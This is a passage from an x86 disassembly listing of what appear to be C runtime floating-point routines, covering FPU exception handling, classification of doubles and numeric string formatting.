qword ptr [eax] mov eax, [ebp+arg_0] fstp qword ptr [eax+10h] mov eax, [ebp+arg_0] or [eax+50h], ebx mov eax, [ebp+arg_0] mov ecx, [eax+50h] and ecx, 0FFFFFFE3h or ecx, edi mov edi, [ebp+arg_14] mov [eax+50h], ecx mov eax, [ebp+arg_0] fld qword ptr [edi] fstp qword ptr [eax+40h] call sub_41C76E lea eax, [ebp+arg_0] push eax push ebx push 0 push [ebp+arg_8] nop call near ptr 2880000h mov eax, [ebp+arg_0] test byte ptr [eax+8], 10h jz short loc_41C267 and dword ptr [esi], 0FFFFFFFEh loc_41C267: ; CODE XREF: sub_41C040+222j test byte ptr [eax+8], 8 jz short loc_41C270 and dword ptr [esi], 0FFFFFFFBh loc_41C270: ; CODE XREF: sub_41C040+22Bj test byte ptr [eax+8], 4 jz short loc_41C279 and dword ptr [esi], 0FFFFFFF7h loc_41C279: ; CODE XREF: sub_41C040+234j test byte ptr [eax+8], 2 jz short loc_41C282 and dword ptr [esi], 0FFFFFFEFh loc_41C282: ; CODE XREF: sub_41C040+23Dj test [eax+8], bl jz short loc_41C28A and dword ptr [esi], 0FFFFFFDFh loc_41C28A: ; CODE XREF: sub_41C040+245j mov ecx, [eax] mov edx, 0FFFFF3FFh and ecx, 3 sub ecx, 0 jz short loc_41C2BE dec ecx jz short loc_41C2B2 dec ecx jz short loc_41C2A8 dec ecx jnz short loc_41C2C0 or byte ptr [esi+1], 0Ch jmp short loc_41C2C0 ; --------------------------------------------------------------------------- loc_41C2A8: ; CODE XREF: sub_41C040+25Dj mov ecx, [esi] and ch, 0FBh or ch, 8 jmp short loc_41C2BA ; --------------------------------------------------------------------------- loc_41C2B2: ; CODE XREF: sub_41C040+25Aj mov ecx, [esi] and ch, 0F7h or ch, 4 loc_41C2BA: ; CODE XREF: sub_41C040+270j mov [esi], ecx jmp short loc_41C2C0 ; --------------------------------------------------------------------------- loc_41C2BE: ; CODE XREF: sub_41C040+257j and [esi], edx loc_41C2C0: ; CODE XREF: sub_41C040+260j ; sub_41C040+266j ... mov ecx, [eax] shr ecx, 2 and ecx, 7 sub ecx, 0 jz short loc_41C2E0 dec ecx jz short loc_41C2D7 dec ecx jnz short loc_41C2E9 and [esi], edx jmp short loc_41C2E9 ; --------------------------------------------------------------------------- loc_41C2D7: ; CODE XREF: sub_41C040+28Ej mov ecx, [esi] and ecx, edx or ch, 2 jmp short loc_41C2E7 ; --------------------------------------------------------------------------- loc_41C2E0: ; CODE XREF: sub_41C040+28Bj mov ecx, [esi] and ecx, edx or ch, 3 loc_41C2E7: ; CODE XREF: sub_41C040+29Ej mov [esi], ecx loc_41C2E9: ; CODE XREF: sub_41C040+291j ; sub_41C040+295j fld qword ptr [eax+40h] fstp qword ptr [edi] pop edi pop esi pop ebx pop ebp retn sub_41C040 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C2F3 proc near ; CODE XREF: sub_41BFA8+10p var_24 = qword ptr -24h var_C = qword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch mov eax, [ebp+arg_0] push ebx push edi mov edi, eax and edi, 1Fh push 1 test al, 8 pop ebx jz short loc_41C31E test byte ptr [ebp+arg_8], bl jz short loc_41C31E push ebx call sub_41C7A0 pop ecx and edi, 0FFFFFFF7h jmp loc_41C4E8 ; --------------------------------------------------------------------------- loc_41C31E: ; CODE XREF: sub_41C2F3+15j ; sub_41C2F3+1Aj test al, 4 jz short loc_41C338 test byte ptr [ebp+arg_8], 4 jz short loc_41C338 push 4 call sub_41C7A0 pop ecx and edi, 0FFFFFFFBh jmp loc_41C4E8 ; --------------------------------------------------------------------------- loc_41C338: ; CODE XREF: sub_41C2F3+2Dj ; sub_41C2F3+33j test al, bl jz loc_41C412 test byte ptr [ebp+arg_8], 8 jz loc_41C412 push 8 call sub_41C7A0 pop ecx mov eax, 0C00h mov ecx, [ebp+arg_8] and ecx, eax jz loc_41C3EA cmp ecx, 400h jz short loc_41C3C2 cmp ecx, 800h jz short loc_41C39A cmp ecx, eax jnz loc_41C40A mov ecx, [ebp+arg_4] fld qword ptr [ecx] fcomp dbl_424818 fld dbl_435FA0 fnstsw ax sahf ja short loc_41C392 fchs loc_41C392: ; CODE XREF: sub_41C2F3+9Bj fstp [ebp+var_C] fld [ebp+var_C] jmp short loc_41C408 ; --------------------------------------------------------------------------- loc_41C39A: ; CODE XREF: sub_41C2F3+7Dj mov ecx, [ebp+arg_4] fld qword ptr [ecx] fcomp dbl_424818 fnstsw ax sahf jbe short loc_41C3B2 fld dbl_435F90 jmp short loc_41C3BA ; --------------------------------------------------------------------------- loc_41C3B2: ; CODE XREF: sub_41C2F3+B5j fld dbl_435FA0 fchs loc_41C3BA: ; CODE XREF: sub_41C2F3+BDj fstp [ebp+var_C] fld [ebp+var_C] jmp short loc_41C408 ; --------------------------------------------------------------------------- loc_41C3C2: ; CODE XREF: sub_41C2F3+75j mov ecx, [ebp+arg_4] fld qword ptr [ecx] fcomp dbl_424818 fnstsw ax sahf jbe short loc_41C3DA fld dbl_435FA0 jmp short loc_41C3E2 ; --------------------------------------------------------------------------- loc_41C3DA: ; CODE XREF: sub_41C2F3+DDj fld dbl_435F90 fchs loc_41C3E2: ; CODE XREF: sub_41C2F3+E5j fstp [ebp+var_C] fld [ebp+var_C] jmp short loc_41C408 ; --------------------------------------------------------------------------- loc_41C3EA: ; CODE XREF: sub_41C2F3+69j mov ecx, [ebp+arg_4] fld qword ptr [ecx] fcomp dbl_424818 fld dbl_435F90 fnstsw ax sahf ja short loc_41C402 fchs loc_41C402: ; CODE XREF: sub_41C2F3+10Bj fstp [ebp+var_C] fld [ebp+var_C] loc_41C408: ; CODE XREF: sub_41C2F3+A5j ; sub_41C2F3+CDj ... fstp qword ptr [ecx] loc_41C40A: ; CODE XREF: sub_41C2F3+81j and edi, 0FFFFFFFEh jmp loc_41C4E8 ; --------------------------------------------------------------------------- loc_41C412: ; CODE XREF: sub_41C2F3+47j ; sub_41C2F3+51j test al, 2 jz loc_41C4E8 test byte ptr [ebp+arg_8], 10h jz loc_41C4E8 push esi xor esi, esi test al, 10h jz short loc_41C42D mov esi, ebx loc_41C42D: ; CODE XREF: sub_41C2F3+136j mov eax, [ebp+arg_4] fld qword ptr [eax] fstp [ebp+var_C] fld [ebp+var_C] fcomp dbl_424818 fnstsw ax sahf jz loc_41C4D6 fld [ebp+var_C] lea eax, [ebp+var_4] push eax ; int push ecx push ecx ; double fstp [esp+24h+var_24] call sub_41C69F mov eax, [ebp+var_4] add esp, 0Ch fstp [ebp+var_C] lea ecx, [eax-600h] cmp ecx, 0FFFFFBCEh jge short loc_41C478 fldz mov esi, ebx fstp [ebp+var_C] jmp short loc_41C4CC ; --------------------------------------------------------------------------- loc_41C478: ; CODE XREF: sub_41C2F3+17Aj fld [ebp+var_C] fcomp dbl_424818 fnstsw ax sahf jnb short loc_41C48A mov edx, ebx jmp short loc_41C48C ; --------------------------------------------------------------------------- loc_41C48A: ; CODE XREF: sub_41C2F3+191j xor edx, edx loc_41C48C: ; CODE XREF: sub_41C2F3+195j mov al, byte ptr [ebp+var_C+6] and eax, 0Fh or al, 10h mov word ptr [ebp+var_C+6], ax mov eax, 0FFFFFC03h cmp ecx, eax jge short loc_41C4C0 sub eax, ecx loc_41C4A3: ; CODE XREF: sub_41C2F3+1CBj test byte ptr [ebp+var_C], bl jz short loc_41C4AE test esi, esi jnz short loc_41C4AE mov esi, ebx loc_41C4AE: ; CODE XREF: sub_41C2F3+1B3j ; sub_41C2F3+1B7j shr dword ptr [ebp+var_C], 1 test byte ptr [ebp+var_C+4], bl jz short loc_41C4BA or byte ptr [ebp+var_C+3], 80h loc_41C4BA: ; CODE XREF: sub_41C2F3+1C1j shr dword ptr [ebp+var_C+4], 1 dec eax jnz short loc_41C4A3 loc_41C4C0: ; CODE XREF: sub_41C2F3+1ACj test edx, edx jz short loc_41C4CC fld [ebp+var_C] fchs fstp [ebp+var_C] loc_41C4CC: ; CODE XREF: sub_41C2F3+183j ; sub_41C2F3+1CFj fld [ebp+var_C] mov eax, [ebp+arg_4] fstp qword ptr [eax] jmp short loc_41C4D8 ; --------------------------------------------------------------------------- loc_41C4D6: ; CODE XREF: sub_41C2F3+14Ej mov esi, ebx loc_41C4D8: ; CODE XREF: sub_41C2F3+1E1j test esi, esi pop esi jz short loc_41C4E5 push 10h call sub_41C7A0 pop ecx loc_41C4E5: ; CODE XREF: sub_41C2F3+1E8j and edi, 0FFFFFFFDh loc_41C4E8: ; CODE XREF: sub_41C2F3+26j ; sub_41C2F3+40j ... test byte ptr [ebp+arg_0], 10h jz short loc_41C4FF test byte ptr [ebp+arg_8], 20h jz short loc_41C4FF push 20h call sub_41C7A0 pop ecx and edi, 0FFFFFFEFh loc_41C4FF: ; CODE XREF: sub_41C2F3+1F9j ; sub_41C2F3+1FFj xor eax, eax test edi, edi pop edi pop ebx setz al leave retn sub_41C2F3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_41C50A(int,int,int,int,int,int,double,int) sub_41C50A proc near ; CODE XREF: sub_41BF55+2Bp ; sub_41BFA8+72p var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = qword ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = qword ptr 20h arg_20 = dword ptr 28h push ebp mov ebp, esp sub esp, 20h push [ebp+arg_4] call sub_41C5B8 test eax, eax pop ecx mov [ebp+var_1C], eax jz short loc_41C575 mov eax, [ebp+arg_8] push esi mov [ebp+var_18], eax mov eax, [ebp+arg_C] mov [ebp+var_14], eax mov eax, [ebp+arg_10] mov esi, [ebp+arg_0] mov [ebp+var_10], eax mov eax, [ebp+arg_14] push 0FFFFh push [ebp+arg_20] mov [ebp+var_C], eax mov eax, dword ptr [ebp+arg_18] mov [ebp+var_20], esi mov dword ptr [ebp+var_8], eax mov eax, dword ptr [ebp+arg_18+4] mov dword ptr [ebp+var_8+4], eax call sub_41C77D lea eax, [ebp+var_20] push eax call sub_42017F add esp, 0Ch test eax, eax jnz short loc_41C56F push esi call sub_41C592 pop ecx loc_41C56F: ; CODE XREF: sub_41C50A+5Cj fld [ebp+var_8] pop esi leave retn ; --------------------------------------------------------------------------- loc_41C575: ; CODE XREF: sub_41C50A+14j push 0FFFFh push [ebp+arg_20] call sub_41C77D push [ebp+arg_0] call sub_41C592 fld [ebp+arg_18] add esp, 0Ch leave retn sub_41C50A endp ; =============== S U B R O U T I N E ======================================= sub_41C592 proc near ; CODE XREF: sub_41BFA8+7Dp ; sub_41C50A+5Fp ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] cmp eax, 1 jz short loc_41C5AD jle short locret_41C5B7 cmp eax, 3 jg short locret_41C5B7 mov dword_4CD9B4, 22h retn ; --------------------------------------------------------------------------- loc_41C5AD: ; CODE XREF: sub_41C592+7j mov dword_4CD9B4, 21h locret_41C5B7: ; CODE XREF: sub_41C592+9j ; sub_41C592+Ej retn sub_41C592 endp ; =============== S U B R O U T I N E ======================================= sub_41C5B8 proc near ; CODE XREF: sub_41C50A+9p arg_0 = dword ptr 4 xor ecx, ecx mov eax, offset dword_435EB8 loc_41C5BF: ; CODE XREF: sub_41C5B8+18j mov edx, [eax] cmp edx, [esp+arg_0] jz short loc_41C5D5 add eax, 8 inc ecx cmp eax, offset dbl_435F90 jl short loc_41C5BF xor eax, eax retn ; --------------------------------------------------------------------------- loc_41C5D5: ; CODE XREF: sub_41C5B8+Dj mov eax, off_435EBC[ecx*8] retn sub_41C5B8 endp ; =============== S U B R O U T I N E ======================================= sub_41C5DD proc near ; CODE XREF: sub_41BFA8+41p arg_0 = byte ptr 4 mov al, [esp+arg_0] test al, 20h jz short loc_41C5E9 push 5 jmp short loc_41C5FF ; --------------------------------------------------------------------------- loc_41C5E9: ; CODE XREF: sub_41C5DD+6j test al, 8 jz short loc_41C5F1 push 1 jmp short loc_41C5FF ; --------------------------------------------------------------------------- loc_41C5F1: ; CODE XREF: sub_41C5DD+Ej test al, 4 jz short loc_41C5F9 push 2 jmp short loc_41C5FF ; --------------------------------------------------------------------------- loc_41C5F9: ; CODE XREF: sub_41C5DD+16j test al, 1 jz short loc_41C601 push 3 loc_41C5FF: ; CODE XREF: sub_41C5DD+Aj ; sub_41C5DD+12j ... pop eax retn ; --------------------------------------------------------------------------- loc_41C601: ; CODE XREF: sub_41C5DD+1Ej movzx eax, al and eax, 2 shl eax, 1 retn sub_41C5DD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_41C60A(double) sub_41C60A proc near ; CODE XREF: sub_417CA4:loc_417D2Ap ; sub_417DEB:loc_417E71p var_8 = qword ptr -8 arg_0 = qword ptr 8 push ebp mov ebp, esp push ecx push ecx fld [ebp+arg_0] frndint fstp [ebp+var_8] fld [ebp+var_8] leave retn sub_41C60A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_41C61C(double,int) sub_41C61C proc near ; CODE XREF: sub_41C69F+82p ; sub_41C69F+98p var_8 = qword ptr -8 arg_0 = qword ptr 8 arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx mov eax, [ebp+arg_8] mov ecx, [ebp+0Eh] fld [ebp+arg_0] add eax, 3FEh and cx, 800Fh fstp [ebp+var_8] shl eax, 4 or eax, ecx mov word ptr [ebp+var_8+6], ax fld [ebp+var_8] leave retn sub_41C61C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C645 proc near ; CODE XREF: sub_417CA4+31p ; sub_417DEB+31p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp xor edx, edx cmp [ebp+arg_4], 7FF00000h jnz short loc_41C65C cmp [ebp+arg_0], edx jnz short loc_41C66E push 1 jmp short loc_41C698 ; --------------------------------------------------------------------------- loc_41C65C: ; CODE XREF: sub_41C645+Cj cmp [ebp+arg_4], 0FFF00000h jnz short loc_41C66E cmp [ebp+arg_0], edx jnz short loc_41C66E push 2 jmp short loc_41C698 ; --------------------------------------------------------------------------- loc_41C66E: ; CODE XREF: sub_41C645+11j ; sub_41C645+1Ej ... mov ecx, [ebp+arg_4+2] mov eax, 7FF8h and ecx, eax cmp cx, ax jnz short loc_41C681 push 3 jmp short loc_41C698 ; --------------------------------------------------------------------------- loc_41C681: ; CODE XREF: sub_41C645+36j cmp cx, 7FF0h jnz short loc_41C69B test [ebp+arg_4], 7FFFFh jnz short loc_41C696 cmp [ebp+arg_0], edx jz short loc_41C69B loc_41C696: ; CODE XREF: sub_41C645+4Aj push 4 loc_41C698: ; CODE XREF: sub_41C645+15j ; sub_41C645+27j ... pop eax pop ebp retn ; --------------------------------------------------------------------------- loc_41C69B: ; CODE XREF: sub_41C645+41j ; sub_41C645+4Fj xor eax, eax pop ebp retn sub_41C645 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_41C69F(double,int) sub_41C69F proc near ; CODE XREF: sub_41C2F3+160p var_18 = qword ptr -18h var_8 = qword ptr -8 arg_0 = qword ptr 8 arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx fld [ebp+arg_0] fcomp dbl_424818 push esi fnstsw ax sahf jnz short loc_41C6BF fldz xor esi, esi fstp [ebp+var_8] jmp loc_41C755 ; --------------------------------------------------------------------------- loc_41C6BF: ; CODE XREF: sub_41C69F+12j xor ecx, ecx test word ptr [ebp+arg_0+6], 7FF0h jnz short loc_41C72E test dword ptr [ebp+arg_0+4], 0FFFFFh jnz short loc_41C6D7 cmp dword ptr [ebp+arg_0], ecx jz short loc_41C72E loc_41C6D7: ; CODE XREF: sub_41C69F+31j fld [ebp+arg_0] fcomp dbl_424818 mov esi, 0FFFFFC03h fnstsw ax sahf jnb short loc_41C6EF push 1 pop eax jmp short loc_41C6F1 ; --------------------------------------------------------------------------- loc_41C6EF: ; CODE XREF: sub_41C69F+49j xor eax, eax loc_41C6F1: ; CODE XREF: sub_41C69F+4Ej ; sub_41C69F+69j test byte ptr [ebp+arg_0+6], 10h jnz short loc_41C70A shl dword ptr [ebp+arg_0+4], 1 test byte ptr [ebp+arg_0+3], 80h jz short loc_41C704 or dword ptr [ebp+arg_0+4], 1 loc_41C704: ; CODE XREF: sub_41C69F+5Fj shl dword ptr [ebp+arg_0], 1 dec esi jmp short loc_41C6F1 ; --------------------------------------------------------------------------- loc_41C70A: ; CODE XREF: sub_41C69F+56j and word ptr [ebp+arg_0+6], 0FFEFh cmp eax, ecx jz short loc_41C718 or byte ptr [ebp+arg_0+7], 80h loc_41C718: ; CODE XREF: sub_41C69F+73j fld [ebp+arg_0] push ecx ; int push ecx push ecx ; double fstp [esp+18h+var_18] call sub_41C61C fstp [ebp+var_8] add esp, 0Ch jmp short loc_41C755 ; --------------------------------------------------------------------------- loc_41C72E: ; CODE XREF: sub_41C69F+28j ; sub_41C69F+36j fld [ebp+arg_0] push ecx ; int push ecx push ecx ; double fstp [esp+18h+var_18] call sub_41C61C mov eax, dword ptr [ebp+arg_0+6] add esp, 0Ch fstp [ebp+var_8] shr eax, 4 and ax, 7FFh movsx esi, ax sub esi, 3FEh loc_41C755: ; CODE XREF: sub_41C69F+1Bj ; sub_41C69F+8Dj mov eax, [ebp+arg_8] fld [ebp+var_8] mov [eax], esi pop esi leave retn sub_41C69F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C760 proc near ; CODE XREF: sub_41C040+F6p var_2 = word ptr -2 push ebp mov ebp, esp push ecx fstsw [ebp+var_2] movsx eax, [ebp+var_2] leave retn sub_41C760 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C76E proc near ; CODE XREF: sub_41C040+206p var_2 = word ptr -2 push ebp mov ebp, esp push ecx fnstsw [ebp+var_2] fnclex movsx eax, [ebp+var_2] leave retn sub_41C76E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C77D proc near ; CODE XREF: sub_417CA4+13p ; sub_417CA4+5Dp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx fstcw word ptr [ebp+var_4] mov eax, [ebp+arg_4] mov ecx, eax and eax, [ebp+arg_0] not ecx and ecx, [ebp+var_4] or ecx, eax mov [ebp+arg_4], ecx fldcw word ptr [ebp+arg_4] movsx eax, word ptr [ebp+var_4] leave retn sub_41C77D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C7A0 proc near ; CODE XREF: sub_41C2F3+1Dp ; sub_41C2F3+37p ... var_8 = qword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx mov cl, byte ptr [ebp+arg_0] test cl, 1 jz short loc_41C7B7 fld tbyte_435FB8 fistp [ebp+arg_0] wait loc_41C7B7: ; CODE XREF: sub_41C7A0+Bj test cl, 8 jz short loc_41C7CC fstsw ax fld tbyte_435FB8 fstp [ebp+var_8] wait fstsw ax loc_41C7CC: ; CODE XREF: sub_41C7A0+1Aj test cl, 10h jz short loc_41C7DB fld tbyte_435FC4 fstp [ebp+var_8] wait loc_41C7DB: ; CODE XREF: sub_41C7A0+2Fj test cl, 4 jz short loc_41C7E9 fldz fld1 fdivrp st(1), st fstp st wait loc_41C7E9: ; CODE XREF: sub_41C7A0+3Ej test cl, 20h jz short locret_41C7F4 fldpi fstp [ebp+var_8] wait locret_41C7F4: ; CODE XREF: sub_41C7A0+4Cj leave retn sub_41C7A0 endp ; =============== S U B R O U T I N E ======================================= sub_41C7F6 proc near ; CODE XREF: sub_417D73+Fp push 30000h push 10000h call sub_4201B7 pop ecx pop ecx retn sub_41C7F6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C808 proc near ; CODE XREF: sub_41C846:loc_41C86Aj var_18 = qword ptr -18h var_10 = qword ptr -10h var_8 = qword ptr -8 push ebp mov ebp, esp sub esp, 18h fld dbl_424828 fstp [ebp+var_8] fld dbl_424820 fstp [ebp+var_10] fld [ebp+var_10] fdiv [ebp+var_8] fmul [ebp+var_8] fsubr [ebp+var_10] fstp [ebp+var_18] fld [ebp+var_18] fcomp dbl_4246A8 fnstsw ax sahf jbe short loc_41C842 push 1 pop eax leave retn ; --------------------------------------------------------------------------- loc_41C842: ; CODE XREF: sub_41C808+33j xor eax, eax leave retn sub_41C808 endp ; =============== S U B R O U T I N E ======================================= sub_41C846 proc near ; CODE XREF: sub_417D73+5p push offset aKernel32 ; "KERNEL32" call near ptr 2740D6Eh nop test eax, eax jz short loc_41C86A push offset aIsprocessorfea ; "IsProcessorFeaturePresent" push eax call near ptr 2710000h nop test eax, eax jz short loc_41C86A push 0 call eax retn ; --------------------------------------------------------------------------- loc_41C86A: ; CODE XREF: sub_41C846+Dj ; sub_41C846+1Dj jmp sub_41C808 sub_41C846 endp ; =============== S U B R O U T I N E ======================================= sub_41C86F proc near ; CODE XREF: sub_419E38+3CBp ; DATA XREF: sub_417D8B+1Eo ... arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] movsx eax, byte ptr [esi] push eax call sub_419101 cmp eax, 65h pop ecx jz short loc_41C8AF loc_41C883: ; CODE XREF: sub_41C86F+3Ej inc esi cmp dword_433E7C, 1 jle short loc_41C89C movsx eax, byte ptr [esi] push 4 push eax call sub_41A642 pop ecx pop ecx jmp short loc_41C8AB ; --------------------------------------------------------------------------- loc_41C89C: ; CODE XREF: sub_41C86F+1Cj movsx eax, byte ptr [esi] mov ecx, off_433C70 mov al, [ecx+eax*2] and eax, 4 loc_41C8AB: ; CODE XREF: sub_41C86F+2Bj test eax, eax jnz short loc_41C883 loc_41C8AF: ; CODE XREF: sub_41C86F+12j mov cl, byte_433E80 mov al, [esi] mov [esi], cl inc esi loc_41C8BA: ; CODE XREF: sub_41C86F+56j mov cl, [esi] mov [esi], al mov al, cl mov cl, [esi] inc esi test cl, cl jnz short loc_41C8BA pop esi retn sub_41C86F endp ; =============== S U B R O U T I N E ======================================= sub_41C8C9 proc near ; CODE XREF: sub_419E38+3E2p ; DATA XREF: sub_417D8B+5o ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov dl, byte_433E80 mov cl, [eax] test cl, cl jz short loc_41C8E5 loc_41C8D9: ; CODE XREF: sub_41C8C9+1Aj cmp cl, dl jz short loc_41C8E5 mov cl, [eax+1] inc eax test cl, cl jnz short loc_41C8D9 loc_41C8E5: ; CODE XREF: sub_41C8C9+Ej ; sub_41C8C9+12j mov cl, [eax] inc eax test cl, cl jz short locret_41C916 loc_41C8EC: ; CODE XREF: sub_41C8C9+34j mov cl, [eax] test cl, cl jz short loc_41C8FF cmp cl, 65h jz short loc_41C8FF cmp cl, 45h jz short loc_41C8FF inc eax jmp short loc_41C8EC ; --------------------------------------------------------------------------- loc_41C8FF: ; CODE XREF: sub_41C8C9+27j ; sub_41C8C9+2Cj ... mov ecx, eax loc_41C901: ; CODE XREF: sub_41C8C9+3Cj dec eax cmp byte ptr [eax], 30h jz short loc_41C901 cmp [eax], dl jnz short loc_41C90C dec eax loc_41C90C: ; CODE XREF: sub_41C8C9+40j ; sub_41C8C9+4Bj mov dl, [ecx] inc eax inc ecx test dl, dl mov [eax], dl jnz short loc_41C90C locret_41C916: ; CODE XREF: sub_41C8C9+21j retn sub_41C8C9 endp ; =============== S U B R O U T I N E ======================================= sub_41C917 proc near ; DATA XREF: sub_417D8B+28o ; ___:off_435FE0o arg_0 = dword ptr 4 mov eax, [esp+arg_0] fld qword ptr [eax] fcomp dbl_424818 fnstsw ax sahf jb short loc_41C92C push 1 pop eax retn ; --------------------------------------------------------------------------- loc_41C92C: ; CODE XREF: sub_41C917+Fj xor eax, eax retn sub_41C917 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C92F proc near ; CODE XREF: sub_41D797+430p ; DATA XREF: sub_417D8B+14o ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx cmp [ebp+arg_0], 0 push [ebp+arg_8] jz short loc_41C958 lea eax, [ebp+var_8] push eax call sub_42067A mov eax, [ebp+arg_4] pop ecx pop ecx mov ecx, [ebp+var_8] mov [eax], ecx mov ecx, [ebp+var_4] mov [eax+4], ecx leave retn ; --------------------------------------------------------------------------- loc_41C958: ; CODE XREF: sub_41C92F+Cj lea eax, [ebp+arg_8] push eax call sub_4206A7 mov eax, [ebp+arg_4] pop ecx pop ecx mov ecx, [ebp+arg_8] mov [eax], ecx leave retn sub_41C92F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C96D proc near ; CODE XREF: sub_41CBEA+17p ; sub_41CC34+47p var_10 = qword ptr -10h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp cmp byte_4CDA24, 0 push ebx push esi jz short loc_41C9A2 mov ebx, [ebp+arg_8] mov eax, dword_4CDA20 xor ecx, ecx mov esi, eax test ebx, ebx setnle cl push ecx xor ecx, ecx cmp dword ptr [eax], 2Dh setz cl add ecx, [ebp+arg_4] push ecx call sub_41CC85 pop ecx pop ecx jmp short loc_41C9DA ; --------------------------------------------------------------------------- loc_41C9A2: ; CODE XREF: sub_41C96D+Cj mov eax, [ebp+arg_0] push ecx push ecx fld qword ptr [eax] fstp [esp+10h+var_10] call sub_42074B mov ebx, [ebp+arg_8] mov esi, eax push esi mov edx, [ebp+arg_4] lea eax, [ebx+1] push eax xor eax, eax cmp dword ptr [esi], 2Dh setz al xor ecx, ecx test ebx, ebx setnle cl add edx, eax add ecx, edx push ecx call sub_4206D4 add esp, 14h loc_41C9DA: ; CODE XREF: sub_41C96D+33j cmp dword ptr [esi], 2Dh mov eax, [ebp+arg_4] jnz short loc_41C9E6 mov byte ptr [eax], 2Dh inc eax loc_41C9E6: ; CODE XREF: sub_41C96D+73j test ebx, ebx jle short loc_41C9FE mov cl, [eax+1] push edi lea edi, [eax+1] mov [eax], cl mov cl, byte_433E80 mov eax, edi pop edi mov [eax], cl loc_41C9FE: ; CODE XREF: sub_41C96D+7Bj xor ecx, ecx push offset aE000 ; "e+000" cmp byte_4CDA24, cl setz cl add ecx, eax add ecx, ebx push ecx call sub_4179C0 cmp [ebp+arg_C], 0 pop ecx pop ecx mov ecx, eax jz short loc_41CA25 mov byte ptr [ecx], 45h loc_41CA25: ; CODE XREF: sub_41C96D+B3j mov eax, [esi+0Ch] inc ecx cmp byte ptr [eax], 30h jz short loc_41CA6A mov ebx, [esi+4] dec ebx jns short loc_41CA39 neg ebx mov byte ptr [ecx], 2Dh loc_41CA39: ; CODE XREF: sub_41C96D+C5j inc ecx cmp ebx, 64h jl short loc_41CA50 mov eax, ebx push 64h cdq pop esi idiv esi add [ecx], al mov eax, ebx cdq idiv esi mov ebx, edx loc_41CA50: ; CODE XREF: sub_41C96D+D0j inc ecx cmp ebx, 0Ah jl short loc_41CA67 mov eax, ebx push 0Ah cdq pop esi idiv esi add [ecx], al mov eax, ebx cdq idiv esi mov ebx, edx loc_41CA67: ; CODE XREF: sub_41C96D+E7j add [ecx+1], bl loc_41CA6A: ; CODE XREF: sub_41C96D+BFj mov eax, [ebp+arg_4] pop esi pop ebx pop ebp retn sub_41C96D endp ; =============== S U B R O U T I N E ======================================= sub_41CA71 proc near ; CODE XREF: sub_41CC11+13p ; sub_41CC34+1Ep var_18 = qword ptr -18h arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch cmp byte_4CDA24, 0 push ebx push ebp mov ebp, [esp+8+arg_4] push esi push edi jz short loc_41CAAC mov eax, dword_4CDA28 mov ebx, [esp+10h+arg_8] mov esi, dword_4CDA20 cmp eax, ebx jnz short loc_41CADC xor ecx, ecx cmp dword ptr [esi], 2Dh setz cl add ecx, eax add ecx, ebp mov eax, ecx mov byte ptr [eax], 30h and byte ptr [eax+1], 0 jmp short loc_41CADC ; --------------------------------------------------------------------------- loc_41CAAC: ; CODE XREF: sub_41CA71+Fj mov eax, [esp+10h+arg_0] push ecx push ecx fld qword ptr [eax] fstp [esp+18h+var_18] call sub_42074B mov ebx, [esp+18h+arg_8] mov esi, eax push esi mov eax, [esi+4] add eax, ebx push eax xor eax, eax cmp dword ptr [esi], 2Dh setz al add eax, ebp push eax call sub_4206D4 add esp, 14h loc_41CADC: ; CODE XREF: sub_41CA71+22j ; sub_41CA71+39j cmp dword ptr [esi], 2Dh mov edi, ebp jnz short loc_41CAEA mov byte ptr [ebp+0], 2Dh lea edi, [ebp+1] loc_41CAEA: ; CODE XREF: sub_41CA71+70j mov eax, [esi+4] test eax, eax jg short loc_41CB01 push 1 push edi call sub_41CC85 pop ecx mov byte ptr [edi], 30h pop ecx inc edi jmp short loc_41CB03 ; --------------------------------------------------------------------------- loc_41CB01: ; CODE XREF: sub_41CA71+7Ej add edi, eax loc_41CB03: ; CODE XREF: sub_41CA71+8Ej test ebx, ebx jle short loc_41CB48 push 1 push edi call sub_41CC85 mov al, byte_433E80 pop ecx mov [edi], al mov esi, [esi+4] inc edi pop ecx test esi, esi jge short loc_41CB48 cmp byte_4CDA24, 0 jz short loc_41CB2D neg esi jmp short loc_41CB33 ; --------------------------------------------------------------------------- loc_41CB2D: ; CODE XREF: 